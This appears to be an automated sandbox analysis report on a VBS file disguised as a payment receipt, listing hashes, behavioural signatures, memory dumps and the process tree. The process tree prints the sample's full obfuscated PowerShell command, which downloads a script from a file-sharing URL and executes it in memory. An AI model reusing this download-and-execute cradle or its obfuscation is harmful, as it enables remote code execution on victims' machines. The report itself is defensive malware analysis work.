Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
29-11-2021 19:58
Static task
static1
Behavioral task
behavioral1
Sample
8XN2B1_Payment_Receipt.vbs
Resource
win7-en-20211014
windows7_x64
0 signatures
0 seconds
General
-
Target
8XN2B1_Payment_Receipt.vbs
-
Size
552B
-
MD5
7578770adaa094d49594be394effcb3b
-
SHA1
8d919e1d10a590babbb1e88707f41b5653080cba
-
SHA256
a9459089985852c3661d048010c4661523b904cd94f31fb245ca7d75ab220532
-
SHA512
363d36082d2be9e50ee113e7061ae1ecbd1096ab21d71e900281d94f7bfc34a546e3e15b42a95f03542dd8ceed0c0d6ce22ed36c7afba4e6344cdeeffc03593a
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 516 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 516 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 2044 wrote to memory of 516 2044 WScript.exe powershell.exe PID 2044 wrote to memory of 516 2044 WScript.exe powershell.exe PID 2044 wrote to memory of 516 2044 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8XN2B1_Payment_Receipt.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://transfer.sh/get/itIqsM/bypa.txt')2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/516-56-0x0000000000000000-mapping.dmp
-
memory/516-58-0x000007FEF2830000-0x000007FEF338D000-memory.dmpFilesize
11.4MB
-
memory/516-60-0x0000000002970000-0x0000000002972000-memory.dmpFilesize
8KB
-
memory/516-61-0x0000000002972000-0x0000000002974000-memory.dmpFilesize
8KB
-
memory/516-62-0x0000000002974000-0x0000000002977000-memory.dmpFilesize
12KB
-
memory/516-59-0x000000001B7A0000-0x000000001BA9F000-memory.dmpFilesize
3.0MB
-
memory/516-63-0x000000000297B000-0x000000000299A000-memory.dmpFilesize
124KB
-
memory/2044-55-0x000007FEFB831000-0x000007FEFB833000-memory.dmpFilesize
8KB